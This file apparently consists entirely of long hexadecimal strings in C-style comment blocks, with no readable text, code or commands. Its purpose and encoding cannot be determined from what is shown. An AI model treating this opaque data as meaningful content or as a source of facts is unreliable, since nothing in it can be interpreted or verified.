44b3386f51d04ebcbf6ddb4c044628c69b598fa1917458d69bd8c85610da1db849580c9f84420c3094487e9d4a37ccf70edbdc73c68f7982093d2cca5ffcde67bb56ea0fc6aeed0be68bd5881298cdab6c321e5f5d6d85a6b09433c475948a538b335abede2693a8b3b2f42e133ca855b4d048a89b680646623475273b15bc02a21f26373df9cc7a87803c9a2f8f5a6e8e487af16ac2f18e005c0dbc6797cb5d394706db6268175652a925e4a2334bfdd8d7934a2c170432852b3425d67060025658ca98a695f71725540423dc81f8ee07b3dec59589f5dc357492e3e2afde5697281b95f0bb787332276e940335a3cbb678de89d5f07811739a00911e707529aa2f5b8a2fbbbfcc25f123e75cc6955572b09654373398efdb44ea6277b00e9723aa9dc1d322e47cb647a13d625781fb178e6fe023f829b814122cbd08b3d96adc043540b49dfa01c5d9aa869828f60b8c997f27ae0d0f398d871c562ab9c0d96a3672403032826496494cf5744e5ee49377e6c4dfd4dea2de31af229ba4f00c00f6d5df15611fc087aef3fb416bce75f80807e96ff067702e216b6d709b6f06d591912c1c51d6693de16def59ee9d9d22435fc66678290ed11e77d320c8a70dcc52e0d4354a98fc314cb657f59a15f5d114677fc6bfbe613719e625529d8044a6b35c8172d7e31fa5b2214b8b1bc6f0a740e613764d04a797ac4b41280ed43465471eb0f850c6472650bf51f3c5f62082d6ccc84e9e7a1e961bfadc5b12b15c75df9b5b06bb8ca254b7c17959ab27c6ae94819b7011e01346071c97ec801c6447d8f1da80bf8e4f1d921771bccfab732cb675abf820039f3876d31803319645e228075d787efff53f58886c62129c53b048e3a260a018509fb67e3089a558b5bd5c09c0fdb1589809006d5a6abe3a5d65e5d5aaba6e31c02d04e99d0ba649b8599561a24c9cf8e809fa4311f964968a98a97e619894556b329c90583d1e135715de813e06bca08f47981edc768425e079e15d42cdc76261a26f1510be27e0ad6706a455ad2568de94dae0f8c93d474612b8fa1e362286dd6b516387c1a1e1916131d4754c106ff5a5d61422b133d4e6de55b29ffb9b0d6c25b94f33bc7272c93a74eeba23cbfea9bbee1b0b1713098dbede321eb4348b2a9b167a29e0383bb043bb7*/
/*d5ac74ac0104d33dc61e55c5acf53e36b682d211340b2dadda2fa55623b3d2ac6463eaec8200666113617af9af27aa0480cca60920213db9939869cd72970f4291989bbfaa8d95ab69228507ac2b48a53e4e8fe4d68eabbb637a3063405af3fc541daf31648dd4ceb347451f7ce9c2102519d15feb17675a6d2c7d7d85ad332bcd5761aeada19391c6bd201a64fa970011e367523d8fd3cf5661b0a61e9cfb23652b460fd452c9e341c23cb2258509047afaad67084d3e0532d9c5a0825587e6f2066df98306181ab922f4a2a54f6dd7bd8bd9890f4869badda623f276ea2c6f97a29db65e91e52fafda50e2b8ce11479ab61ce9a2e5b96ae68bcbb02a572eb94e690edc256118b37a554d77370965400f0ca9fce7f4afc8a963cde293c2cff36e5e08612fcba7bd4e40327f846af2a9f07cd6704d24a87497c3b69fa00ff91aeda847adc5f239cf1d586ab21d3525c4f17663cda070599561d439739e6ef71474c61f82f7844a3c93933a97e06d2b1c79532723413dfe249399a850e0c7bac8ff1270cb8d045ecf318fedce1cbc2bf7e79c5d0d31a7858f80cdb7dab303dc90777db4d76f74316d87d05310f54e1fbcea1e0184010a4a91bde9bd841e072b4c586b39131815f47230f03fc3abb4c46cf4e45bbe8887e464ede80166a2a0a51e1831f71a52790356c1f98a050e4c5751f851293a197880a3bd0ddd50d0b45248177e603d2a565aa31bcecdc0df5563541c3e2074209c9b33e9ecb841e0712b5f39fb45baeb17d9241e547a9d09d86f9f38b5ae0878efad35469a53689c3139c90218d6308436f74dcf87726eea48696037d4bb1aa78282dd9e92bf10d44e408f35fe119fdcd6b8aec041ffc8b9fb716c5e4bc22520e0bfa07bd7bb0c2d8f73b0bca927dec7792ee5e71e70272c9cd0e32818586cf2f33f81b73878f980a557f3f3fa810368f3706fcfb0780da549086f2e9e8d7861a3152e991187173f6bac8e67bed8f24f4a4c11e06522a7cf57ba1f8d896ff19a62c8d650402f571aa8ae056b6e5c8942247f8d6601519869efdc3cce1b0ec5054145365a91994a1cb4f8e91a65ed1a24729f3518a4c11dd2867ce18074caff85e468cf10e4971bb3b1b5432fe3d1935731939241979f2a33ff92ad99ff64f2e0f5d494b3ea84a051f03a30b902d9155b885bb9f5d22900ea06a6f066c8a9cffdfeabfdce4bd46ba7e8c809a8b70e35e06913f2fd4fc427e04b5bfbd14fa5e04fcdb027fa705e8dd392dfc21ccb2026d146643cd88b6653b9f7d599d4d6cf7f2b4db405a7a06e8f7fd906feade42f50d9f8446d25a7b59d29fb35851804cfe151202d9b9c0a7d4099743ada19f25a7fa2c3956c7c722b8b418e268c494c31302a1bac1df85fca313512bdf7eb58b35bf7af238a9428e9fc2e7d1d6367943f75c0a7646117e622a1d7bc6ad80e5ff1478d305353639bb217282aef572277ef82bc01a254be0705d1d62b0eddaf9be037bbcd048720d24d154f7ebf48fd010f0f5d9c160d15983cb4138620445a660d799fc4353dc447ec4059bc84f5dcf4ae464254b6fbdb0117489b7f341a1626fc78ef727d5cd6d698cd9fa18974364f76fc7075cc5fd2b27f76ede1439d98842ba0c34d22767765eda72e40049ec7fec3eaad2b3b89120c8f808a73485883d4c21cbb62b1d37152fc569b2faf9d6762240c892f506b7b45d5758b4085ac8ca01c436f9e4e140342aa16a27c609452a526ad5110c6e2b39818c6ec0798fef13864470e02202aead8d6cd382ea2bdf7379b06eff6da199c17c8ca77904aa14c9648a8964233e2dcffca646f0ac7214374e28748a9c6cad72353b0e9d9bb1dfda23f71a0251e2e9758aab220a225be22a0aba70d49336638bd6cd8a336a1549138cec499e3a2ae864471a66330881361be482bafdb637216ba0061d1e0ec6e7658148422c9ed77529981ccae57c59d5389c54b8e3884badbe0263332a0b47f7ab6b4a74945822ff58ece7b928571c6b79111f6ba057237f474e60f9a864131f0b688289e581cf1e4861504c0967e67aa350b86da11b4b49605b1608aff2da3ba9b5a3f9bcb1bd1b6e14a1287c23bee6ada2d6516da9ef382c0a1475d0ec91739f7952f6f9ea2f64cdca7632f40da93c5882d81b11637f18a01a95ba67badd69e758155683d4176251b754f8bafe6da46376970a490613f825d5e2a4fe7a23536364a52301f19f7923150caabbd3d7cbd02d96f9b6419afb5462d2cbaa2b6ade875c774f6334b1a1b736b5efd25923505000bffdcffbb3f92bed39ecb3f0e571f0901f83f0f7651756b770876035b33d6f056a04deac066b6dab9ed47fed70a4f9f68e7757c68014b5a19863fa9c2f7b1eb40136838dead0e212d2aaf05470d0ca53ff7ef41da86b604472ad291f2da788f37fb2297e0bdb0a6553c0aab83a791e8535cf9fb8659342297364ea0efbe8537b1b8332ba2296f76d5e7cf744212d91013068894c0affda8b8911133b2d6010302f96cf7b7e3728ec28f760e139caf1b1f6f9b11f86a497bd3ec001a0f6f7ed3072531162d453c48bccc93d8833313e777ba1fc200f9b5080d7eb3a0cb3f11c4435dab5f1b60dc52882ebc5e647d55717a82b2a4faa2e83fa8b8f7dc1c374bd77fcc105a1627c3a5dc2b8504940f93e351e10235d53cfe66dd8cceaada367174f257b080484754c6a68456c94e80034df65652fdccd040a31cbfba8452e3a4402ff2cb8ca0e80cf840d9b852a06d474d579b86c475fb99aa5184c42502ca4e3d112e70c365239f6e0875300ed78a0d9a7c94cbcca8bdb3341ba3cb1d7dd6*/
/*afd684cb569a9dad4fe6e93d1913b75d2558b9651492643833065b2be5d621766704f4dc75213f1ae1b6886800dbd28fa03700b6feb4a4b4b42aeb46877c3a201ca40a4b6862a7e0a0f72326b85acfea3476448a2b5c1cbe2a127f8c0a6d08e0ff70ff51bfbdd171fda05c54d0f73b013a473ccbf16b546b49440d1ae9f44fdd0fbfb8daed4d02e509f2c89ed6eb219e5a56476e9467c8002f0156bfa0a89e880816f2d6c1f52c264c8456a0df693615467a5cd96fa2e265785f7dbeefae9980c631a489cb2afb80ff17059faaec69ba9473e471e9d7354bfeb687612ba2e0e1fc7987cef0add5787c50690a9b8bf150b201a2e4dc998a9fbf97ebbc03ca0e79c70f384fd43485fde959c96a136ca022e038f50601e48e07ff5a37c6c9a484d2ca95af93351a2c53722d12aeb74a95b76db708acdde283355932732856b7a8b14df2ecfb845569d4025f2bbf57ac83ac8eaa4700ae64f8aa937d30024435e3d90d8aa04245ba1b2dccbb032a02e6dca8893e4fe0b06ea6dd5e96ff628e2ee730c5ee416fa1eeb844b6df5926e02073d8eddcc3af0efeb6fed9e1018cda108a5c20ba60c0f3d64f9fd47b2fd346726230b0c9bc43c1b2b01b9bd8bc74d593015e92771226415b47cfd2c52caf62e23b19d94bb41ac746181fc926081d9ee2ab10a4415838c6cb31679f6dce9ad9880624363b2bf1c0ac8840b2acc3c4c115ffc3d5204fbca050c91a07bc4963b252ae5b92bb18473934e75637cc5efe8986340546d5b0c8b8d69a074c52918c9b71746ee148fdfc6707342f9e8271d879cf451ac78d55c525e2d4cc8bc0bacf60a09da5299fbdbf4710709f60ee5d25fbb3bf0476f94a6d1fc079eb94342739f13b3878d6e913c9b5d9bb5797cc68b2e636d41b42dab09a14e17296354d5fea42362a2ab4aef898c700b172f4a04f3173a765369961aa803dd7a7f31b5bb6087c863dddc8e90234382b3a2106b0509dfc21a9d3dad62d361be109adf7ed68c1ac37989a3b253266de90ec70801ab52b8633d9e594202c0bba33cfd0eb10148d89e755e0193f07b1855c394f09d1706577f5e9e6e1c20b354b7e51148b2d8001be7239b19273f6c3c67cea3edc955a86a3c53888eedbb0d49b1259610bfb85de3027f0b1f90e3812d3e42096bd4d37c3d7d5f0a5de3549c305ca7bd7746aed2d00b3def30837f512b4760bd4f7971b7ac402bf1b9198bf2e5d9ce92d8f2e65d5e594888b2fee132b49c853ede0e10ebbdc37471d0722716f6b5b0d0373db4514bcfe16e16dece8960ee7e625626aa7ab1baea1c6c9e19a0d5dd2afd5fe7e5ae68f92acf923116779d8ab87acc939f34f9b5a6ed211ebfee61d3e50806409864886ef5375dd702ef733516ba44279b8ec45d09b44c181d97a02500ad4bc265dbc8a4d258c170abf9736bfa9fd344ac72afa91962c2586b45896fd7f25b9ab219a1125ca2cd2b25a3d49c39a809a004bf952ffed5f4a2abcea9b981bf362f2970df3f88fc9038c93a46e78d17c81f00962c74c2d9b4ea73044defb01524fde66e0284796be77260321c0eb844ff65840a45a8249e1386562475fab5f529357af6d3f6485e38903204abf37d35960c1196ec5e58ea9d7a2dcffb8a54593b59768708b91a3dc5e77b655df2dd8f03e916af1a6acb6d5a791da9e212d2469acb56759acfe699f5dedca038f78667bda9b231338bc61fa5321a7f8c86954e54378644e44dceb952b8443f72c6828b45556fa58ce0a9b782f105cfa75eab4f3e922dcf6e654b8754f0c79fb574c39550b01906a0e3fcba8ff7b834373496cd5eca7d691f5c8c22d183779cb680a9db8ea3ca82f796d3d73feeca4f56bc49100d9dd9011ff18c8283d013735a789e9bafe65fed21699df1981c2610e6c68eac2daad19d1cd4b44f4eed9e9f3217c6785c9a9cd4e498eddaa16e731b43f030c855ec9c1c5de7164e52759938b130c037713fafcd3bed5e94524a1370355ea5b897b19bf34d78cb7d9c9368074c7847e624cfe52567bd23cdbe7b0607f3aba25316a3b472673199b75d10ba8dc26281d4a3dc508c66fc2fa07d32491f6802b7ca80b1543e7b8bd774393184567334ee1267a45dccb75ea2e1de261a76fbf6f5d8a6bd9e3272850388a9329dc5a4f5b6e11f59946ab61cd05c049898ce0d785b967ab654743eaeee71e3b51c3805f8c984c67d2e78459856f759276c8397863d8127c689fca27e1b20a165ba43945c4105c705bcec22c0259e229e2fa18e872bff291661c8a8a99d5f94e35633c0b4b1fa4c826ef4416c9a677c328a7ddcf3aeb1efa1cf8756193112d8b0484863c5247fe1b6fb15f8dd3ab64be7fade8ff222ca33b11025aabc7e92286de7a907da9d4073facfa9c0ca8aad5a1a687ad2cf14d651bc94999fdf84887bc04a73d547cd5c93a7dcd8a73af5d56d05798308ceddc4705b16117eb55620d9c010f376f69ddbb4c7cbf3d8845ad3202cf9f5d1eb921947a29b33b153aaa9b26d14bd963959f25494bb54bcf18f55b14179b7a8d97e37cb38feae8398385d87d69e185f96929204d69361c01150e679afa9f41177ba82940804ba1409259f78acc379649c054657009bb1be7bfc439022419570c2ab33fab8c2f18c1789564ff408ba3468ac0b556fa67cce68dcff6549a6f28ac0f952c3c2bea3bf271db5576f2e4159f4a4973d59f082d6934311a23c10e25f4b13934c851a22562214f7e3b5a3f3488c2a478368420fcb500ed28b948f3f42652f864c7ef0fa9b3630ffcf6a8c02259bc9bf84166362cd9eafcc9b4c97f7c97b1b153c471563245ce39d5*/
/*72be1ce303f38d95d235a4b6fc8544cd038b7dfe1fe21ecafefb36f1b7ff9ee6b3d3be7d824af3bc77dcfb0c865bfeb85578e8f8d563d9d315499734c0e86a189bb576b0fde44ce8ee7ecae4f5f29fce7cc3514dcaa6e0eb2f2f63ce3d849310c4cd65812a37e4c8bb48077bb873c5be9bfb27ee138d0ef3ed0d50083c63d66d36e40ae697530e767e1a2b748d2d87ee72efc6d25528541e86428f598112b2a8d15d634e5f8261e7dc3350ef2a536033872e3c93c007e0964a9d6936d5228c3746c1e3bf66d7a58fca784066e89321f58d3f2b7e7188f298bfbe9c2223d778d1d8f4f1cf66d12598ff4fe86ba9407456973201218ff59023b064212d9714efcd3534015ac6de9ab9318875712109c3af59e12e4ba5d345d87b75d54d9cbff2fe862586ece5b41a7c6508e510c38ef9b08aac8ed4c89847a0b8ec84002905b8c681f89a5c9553871fd3788105b381ddfb0a6efe2b42d1feacd6b4c82f5d16235bdfa4899f30c8479b7bf5473937be1800af3bf0e4cf5f6274ae6a029d69216a4692cd39647071e61861a783b7359138ed892a98a421c0ac0fc7c2f7be67a0225394bf9810f32cdbdd76fa0804d2cf079322d58594f9d1a20881bf0b6fa4963b4b8a96319858932cf8250441938c0ef1f57b96bc398f36fe70f2b1eadfd9c475688cbd93fd924100b5101b9dda31cceab7d729cea370b21a338b46e72b6f4fcb5729c8ca06f3063a49dd7d471623ad57f57f90da6a84585c845cebcba708c653340fbcfc150eb7fbfdfe4d9822c214f684563fd9acf9c72ad0b2a9f64e4b38e722a78f2f8872359f18e490e1b9bcd1b99b098a1c54b76020b23330fc180135c9396dc939ffbb501ec023ab323fbbd9145acb4cac230b1dd6a94e54b30b4effd5fd83e54ee6725e3731b3035c73eba17c5ff51f313dd4d866338b614624ef5bad70138af887b7d78fc2bf58a7d7b99e2381e82f02308f68a82823c86da8cd3f0f781c3c9c2a811326e7101ae4818fb27d4f751b2c33bd4e7bd8a117ffd9fc0893250bf0746cfc5b1a3a0fc719b173abeba4fcc2b136fd4e95657d03b736896712e625c25b036e495cfe3b1f27a2500c2ef6963586aef7cbaa20a4cace6dccd3f20f08c3784295912a6999c0366c5175e3ed8f76fe2b4fe990a5d0ad208b0faa3fdd5bd55f5e3f056fe108d56f9282247bfb4be3f1fff9375cb513af6e1b129c3ba286906bc029dccd3078937c6f2eff98cbd3687a395c251a96f559b47e67a38d58662409a6a5d87206278705a0c251fb386d8be56c0e5f3c715cd6928e73e4dd6f8970dab10707ea9684ea7ea0dbbd0674d06bb4b55b7f5cf7de3f310530a45b9290f9c574911538dacf58962c0d6d8ba828ecbe07d1c003e91eed3482bea31cdd94c4d2439c03887b03d6b17fd48c05d8e7b973716ac389f66341617cdb58323195318b6cb7b07644c98a3a15eec04850e1f5a2b0167b445b5180fe20a64eef3f94276b8cdd2867aa1f8de5784a01cf9d9bc1c7b0582582c60bad3e4445b07f06b987b0bb6275fb893613ecc01005962dea6a3b8835fdaf5421a157a5ba52f4306fd6200a84fc0c966913a1f5e13525e5981d3aaad30561afd4255d02b29a396e3770bf1b58d4d5a4ea10f046b7277f90f864a9d9071864eb89daff5f60f479809fb2521da07858fc976d9435fb16be6f8c141cdb4c588362e06d8c595dde5f038ebd78aed00ac9723f03c9ac5e44343cb6a25418f5d7b17547f7d5001439dd3ee28aa48c638ae82c363626b09ed821827e3ff80a8b0a4aeadb22963c8059e52256df503c574e96b836c1132b41360df0de56a29aa027b8cbb4df7484f1a0d6050eb33a41ee43964e4357d59dd41d4f785e6eb6e50166a29fed7cf9941a954cee1d5b0e0cf8bc432f27f5e18d28155be21f5c7023b7f9214d05a542bc4853aecb9a00e1aa3eaf5cb27a2b3d41e9ea7bccde42f22ea9b60f314fdbe86ee3c5e864534f67cd4fa682ac382efece89a2a799a6b1320b6c8a0b1265862d298ed0e4d799bddd4a7d63337d161c71422cad3ba8dab8af356305aabce21551e642beb36d2b1e67a9479e5ca16f1bf8f4305c1f72fa2caaa1ee83e98b2f0082b58f3fd6f0efeff97aa035d72c5aa7a0b0395753e063e8b8a1bcc3de429fda5760c5c48b65a2e36e0481c32b258e36db263832fbe52e6eed7388e15b51cab50b22a85c3d4fcaa43125a91b6040dc0112863cdd7f2ced4a673b80309fc87c25c96d233f75929b27a29f1dfd990a93e45c18c3fba84cd36c45d90aa1d8ee6d3ae80c2b531d8ab38a8b5a70753ca79735b49e0a1e46264bb3da7499a7c15ff6e174122c811a0df0eeecff79bf30a9c0bd0b2b93248b3d84dfafe3fba19470fcee1196a61b427c97223ef2d2a51f6792d4b0173e11a46eefba97a203cb878a6a6f3694a7e0a0cb186a4a9002001b2d04f5916de8f52ede01109fdac96c4e87e70b66ce7d025586a9acced8f904cd7506f93d8f635dccb7be07f671cfb77be0efd1eea4b6fd2fd89ef658db476b7a1d7480d9fd6e61a4a56d6f70830b8c92909610d67b544e3f5855f102846f57d11a3ed23db9c0007405cb525b5cdf15bc0dc953bfe735c1d485de47850fbe700da0812c1425088b42b8c1a964368fad92fa757a013d805a747e9ce07d804a0dee8bd38285e9d2ca04fa502e4b89590f5d2703f7a546e2ba6e3e3380c925f81278a3d67125c379e1e7cd0b283204a9823dd8b8b8f018b24d5e935bfabdd9d53858b30cc95e3969195c6302064fa1357c950bb1d4313edaca65d0fc0f382a4e31ca132f4d6a833d913814*/
/*4e005af68ac0a5b9a1adb684d5bb183c5a3653a6a7cf39129e75eaa89a3ba01644adf04fe68696b283a8a9e416739a5283c5cc016925a98d25c6ba8e8d758c24b1d50b4cba9d7e7c641e74cb55029a5840e9f2439062cce947266134595f2d93a572ff3fe1abb4ccfb2463d1d29f4da44685124351785f097313033780fca2f3c06bcd03ff0e8cc6d3085c5a9ade0315f5af7ad0c96b69ec0dae25a2e03e36211e494209db344343ca1157eeb00558aa03c5e97055fe8bc66db180cbe55ccf81b583fc50d6544b58937c0d19c592a037f074a44881653f849acf5fc4e0c35cccb98cad06298da3eb507423483f046ba9c74c70f00c6fe9e065b9419b9f35d09d2abe0d88aee51202efbea41388e8884ff4ec1b25198641b4b882ea683f1f6180d268f10e05e1e58493fdcacba634a9ff8bdc5e551eacee19cd7d418aa20ddcd8eb2d983b0ea91b96fd2d9ad93aa9c83213f589f06a29a72cc44a66710000ec88116f20233bfa760aca4b8288ef7e2868c25a6ba597b9003cef296643a4c560409436e8d005799e369d97c7ca9085941eb192bc5dd085c4636ebd7e6fe5cc3ffee785effd724fad159af097ab371fce85ab967142549e07d2a13c70b4e6982b327e20df23ad817ba5844b5332a49ba9728c37bbabb030652f483a9250860e64b019c90e56d8ebc72ecbf3be3d68717d61937b5370ca30ea2a9d9bea2c6d83d0c4258d62cca190c7f6f8a95e6fca013bbf4a6a1ab4df466b3e42c9f82a3982814ea6dc96efbf72a777270a851de98b7d9c2ebd5fce53576c8f1ad86709c78277dca26efe22023e91550ce99a12bbdab2a4c2581bc76ff2543a37613f066847a4cdbaa270e6ed0dc03d44f3f7c5a0c692935f74e2f6d9e3034d98dd262ff99ccbbf302fb183a1341ea08980e6f487986b3e2849cb64563b6dcfd53283e83408ae402a593f07a22a728d646eec0f0c3027aa4bc0ee9b6ace487bac949edc6a06b5f4474db3c1ad75cddb98418c61cc82db8fc445fbae00e9659d0d3e34902b7c5d0078ba28437227deb17b4cd77a745904f3da19cb4d34ebe53c3196177dc4c11563206dcb7ed5551c4a81753fa960968480941156a7a33fe8ce4fc9e0c787e48bf7b523256b4c67a0fce6430193f53a3071995ebf8447d2afb1a3f6ea2dc78ad40dfbb0ff2073c37f0ef3b556e8336e94c0bb02b7de382e1b15cf54df2926f9eafb85366bff05337181354807e48d32918e3de964abb8f6afd0fedb8da41c17e902080182060d3d5ebd8d3595cc68c50d68efbced8b9c4694196fd7af0c8015a27fa02e1cfa030d9352e09f2783180b9cecd34dac931b88fde045a63712b0b46ae8b7f843062a931f1cb8fd08ecd6a23fbe77e269e6ff3563239a48736d148d59673c3f3a1eaf4f5ad3201270537aaff0df091f390e26f4e54b3eb4ab975d301fc25e02ea4f8c3123e7be662cfee348849a3203849b30809df20ff7f85466d958e9ee07057f96bde9d0b6d7ed9d95a5a6d58296239b5644c0df075dcd000da00aa74963e1247c567aea929dc4ff1c33ecf903fa14e11faf63ee7c69a89208cf607b6c5454aa06bd9581af07f81edd6ff9fe07901777231c50c683a90e20567ec0ae8ce361ee5b1ebf338061a02408cb34b4720f203088807aeb7f64c140266b6afe288366c6303b7ca84ca3e324c4f522fffb6ec55b022f1060ee0cd94a30d778d9b48b934ff3a57578e3fa5dbf38f932f6fd2342f1d5b6bf55c5c1ef047379f73aca3041bbfc820dab10a93f010279eddcca17913782584cc3766cc344a59a7b3231f5ed5bb5d12c95114e18662541af1703978d14f4df5e5baf346a8f5dd71fd576b94fd045511d5865eda1616c9592152c275746a957530db7a9ff299aecef0294f5c255c529dcf3acd9e0b92f8026e2a7090f771e45efaa6ac6d736237fda9dba44e9a1ada4954e2443d3282591ad3efee0e761a154cceab73cffcd2b662f23ad64f067dec0dbadb487becf531c4a0ba6d78afe08faddceb49322fc78bae1422f997916ccc74e21046acf444e11002f2a2fe61f1d18cf867647c04e6daa49bde65387cfe05ca8221fe207ae1b785c7ffbf4cdd4c6eea00168d4b16d0b521095ed0f098c911dda00165937915afc5a0a6e8d746fdaed19c6a19d48cd528336763a2993b0e6ec60b637e50a0fb2811c3778b0a0e7a5375f2a599114779bffc72007d14227586c4471a76d3020fe050be2e06c50073f21f6d7a8a63c17ca12a86f11fe7dbe3077d5f7d31312c3304bd4f208441dbbd54f29b9bc14282de62307675bd30e20fd1dd004f989dec922dcd5ed386058d8889586a6edc04696555f13a4953e7f5b91c41ccf308dad01dcacb4b232ecd53d850195590a17136473253554b36ca6010b6479fd7f3c5fc7e97b221652899a2fbc6942578a1f2c47ae4b60ea2f1bec157d862c8683be7fb7e4a4375c150701fcab590a3ca52ef0ffb6bc14743dfe20a1d63649a7fa885952d7ec7ed0080c3e9d33599ba7c8f592345afc522b445a67943b76611d8e5b3eeb0d88081d2084efaa10acac7af2fe9879b428bb048c79b1f3ec1d903f69f145cc6403f1ce2ef51c0c1cac70e29c6550eeade74650b6d0158bd44352cefb82cdf7e106773cae185cb88bdd775110ec1d1e7022269169511118b3e3dbce85ccd2990f9882439ae2693cfff42c96e4c83faabe7d80c774f6e6c2055cad434344dcc43b94e303dfe8cb790834cf180c9e91d8033b2fb7a0f1cd6f7a1f52f4595e2c0ac8e80278bce6dfc215def56a63dd59874f384d7b2d2e957b4babc866a30dc3a552846681*/
/*3301781ab2a372e135ada75fe27a8222220d607a958f132e2f6ffa8664c17f88c3ceb22361da33e7a3b5628b1a9f3978ffb1202898297b3f7fa09360f4212792aceab802b7a5b326eb22de2fb8ce01f7c005dd9824d4805442b2626cf9afcd029f3daf0c476f32370927c9f590b9bc676caa706649b02386c5866a08d11babbc8eaaedb49e67407772252350d83b5eeae0e3b603a487a3c242d4e69501a00a044fc97f7650b8d3c3c52a7baa304331992c97eb6c43694bb9ad74ca820b7d82ca40420962e8f485cee8de052aa8d1dfc904a2556178307dc746d67e770839b8c08bf9789f28024b18ae48ed615fd2a28d4e6e884f4ae9421df4ddd0595ab48fe4628f6e6862a94f24b25af95d55728d82b743c158b14aa38dbe7efb661e6c40dc7f9048ba8140a6294e71843725c7177c850f935c4e24719162e3b85d97626b993516d151c30b2758f6314e8d43bd3d283cd0b4e53095d323dde88a953523fa37484a541b9450555362bce7462a42f4690443db1025dd8b21088b17e7bb7a58df15fcd4847f0688e32f545c083688a75d1138182756fa1f568c3316438f1abd9cbcf2cee575dbb5bccfb4bba76ff558673c16e26878f1ec2bee88407a28e56a3f2eb5224d64413c7502ee6d90b5f35a2065098e9a45fff3fef451875ab330193a8d2bcf6e46597578e38dc40a93ea131e2c7edf7929107e61dc4a92b35737c0ad580c8bbe45fd1dec25c57729bdfec8e532d0842e99fe0f9cd5a8ecd854ec29a13f6c924fbd9128c91d3767f954270467f89276ba163b2b03be50bf917b7a8b68ce25aed6d3820e6b1f9267fb15cdc4d4f690e30d8eef1edc29d9b2b5ec808322b8b7aa3eb33090eea5e7bf359e844f2930f7bbb52267f0c47b8a004e8e0226e254abd41ce87090e14841e464b15e01d898ff305c85ccd47cc29bd46f219d7f413d381468acd9923881e0a7b2a9cc6505ed250895d6d225b2a65df4e647de80c1de41a3a312c5d402ece042f012c213466dcbb157cf289afe699c775390fda69f96ddd6139d3d8c8e1d72070c040871b5cd992e8568314ac9c0c27149bcd521d15dba04ee4b5091c510ec2b5e5c9f4e2693992c086f557b603ee5c7780933006ad3d655a626d68e671f5e17b9ab33b782350a0cf7ff1b8e72de2c8b292686ad5fc580c42c9a23d9429b7b708bf8d002d36d8e1f701970840251370dc9c7239b08baf301e6520a81701f36b884f39cef570fdf3ed22f13f85065ce9ea81ede4a0c7d2b9f8c4cdca02e744abff6c211fe13592a30e47dcede9aaea3300be24ce79ceedb481ea4f2c8bc025c0b5e44f69e8c66cdb8398bbbc2b089e0e81e2b363ba263897927f1147104b739f7c7f7cba9e314d6190333d8368a8f0f6195b71b95d4162901e295560c60483911a6f5a6ee1727c7be661756385db28ee52a9eac3c1ae96d20ab844f9a62d6f419a7949f9c795e3318b5b2ea582f415e8bb06bdd2e7b84975f29c902ddf82a3bda227db46996bfd462136f39818a12fd354ffeeee7113006a3343ce585ce84064c2506a133351304da8033748947ab447e93e856d3e4855dc050db49e306c523458065faedd8e7731dd4551af3d6e6427c9128adac2e65da5e0d0c9e19fdc93c935495ce3c56763b66a909f111d8e6b3184ead52537c184557469efb383fe1e059bc4132a36ead8848fbe7de6d556908b252e502bed5086d57c98033c82f6ab949a926fb1a6fd6ef5556d04b97cce2faf474b77d70f5bb6ed7ddeed3095e4d4a2ee42cbd36a2c7dc0b949bdf4a71990f9b481912867365ee27cc95bddf982ad2587bc4a1bc0d6864030c06077ef5fc803223bf441f43539386f9eeba19c428e806f2bfcda4f926134cc6cb5048b23ad858c3391b92763d8c8841f91c23114284bff7f6d48e1576b9130bdea65475c0a6875f1f4ee97727d1f6e565e4621b0eb975afc8bc54e6be1bd90c526fc550aeb6a11043868ad224df1dff7178d7ec9ca9b3b42284c70bfaf32660ad822ebaf6871ad72424d9e306997fb8e0c0355bc931d0f410771146e9c9814586ec256b2e98f4a4c5704de052f476fdfc8dca9111d09a1287fa566a5bba710d5e8ec4c28c9878c2845b7dcad26c4589477a8626b3c5fd5721ac99991464b97ece77b9661e03cab231932fdca7711d4cd208c3ef38eaf20897cce15dead853fdb3a0e57301610afaaf64d0f4cf8296e9d3fc14858200d75ebce1ed756462d14d2fc410cacf648300d3e6d650e003676fd4b06e7e82dd785879dd9599667c8afd177873ce83560225c0e5ef0bb7068e54ae996a37da7f2936c39aa3909d30fbcab9dae7ac64633a4b1ec7732c96388af9708ead0cc7a5a757ce1e0cc4325f27f76a0fff42245077fd8d4e828a91d96330e27c9a1c4fc9a7b0bb86c143948a908491996c26d3ea0873e8ee249c545444262bc6f1bb37c039f862832ac2eed1bdb7398df854ab30b4d70ede854dcfc1edc4994abf4f39020d678a0f6091fab156e5bf7061c7c7e12e35233186b1198b966d85b8213436762ec2dd10bc309793eca417585cb74d4ea7053262a7060d05468e17f1cae28a40af16a0236603456db8f47b9361524e7db93f8fa6773a59502f0ffba86a1d2aa19f713b2f63697e510e2943e800415872ca05d31e6a62760800004cfe720c7bc649d11df1a1184dce14b02bfa284d0bb260b25e8e1de9f267c8296bc9ba76597e8e114bcf05530ea2efe5d53b9afa337d3dc10bdc78fccd51361739b29f5c63cec64b4bee0785b3b3fcaaf79ed80ff622f2c27e4e531ef1f5d92369577dd70bc5e046639edbd5*/
/*c222dea07b769f6b7c71fb1f92fcb60bf5155d561a2b001047c695c49d1bfeddf89e2f0b9c726458ecd5d71753d5b344eb1d69d71fdb428e755e478f31c8be9f122f9393548810a502d61065acefeca9ec357f578c6cea7feeb8ee0aef2c3cb08d998d7a7b0c0359deb5497a358a768a65c587b34f2a2a6864eacda4e9e7177e7ad8181167c55a03424e2e9e4f6ede67cd643b73baccdca773fd64d5c5f9dfc5898f224a00e14795f9670c28b063654ac32954b99825928404946c302a63aedc4e5f2296589479e86f94c37a9b18070801184eb8a6efd9ac6a18219a3945990e766340ea7e38f836f003ff39e937080cbda0b5c21b0278c70ec12d87ef17a26ba5745e7131790818aeb0f2b8cb9ae19a933bea00d3f8f40164dada39602c3665dc0ef9aba2b91126f75c69422278ec05d5e76dcfd89724557f55a5d7d9c22c3f59513b9407491b9333b7f24d589545118bb9de2494aff6e2dd76b37c2289665ae95bb809861b7d2a988ff0403d7921c8bd4323b261327914b38f20e47dad15bd7925785c9df7c71ff102049e0e12026bae91ac8a007cf47983173e146befb47d58bd27e63cf5ad94fa5f7d00e7005f7c56bfed560d52f4557317961050c457a0159dde36f8154f33ee8f7e4c57e119bb5725264f8e0c08a4a8ecd7c09e122e4948c256dbf7008e8dad2bbbf83a9c2755764294d50ed68692538d353c677245c941d2c639af3ae20b83091fdff3fbbbb7dce86e9c93fd2fde62113281d8d5d8c34c2dca73bfbfd78556a6368ad37e48c00ab142368f8a6d7ff55ce949c8faa248cfb984401dd880a490d1489c07f936aa58ba70afd5066b3db170fd32da3c0e39cc6f062cf8879f55bddbf492412674f619fee582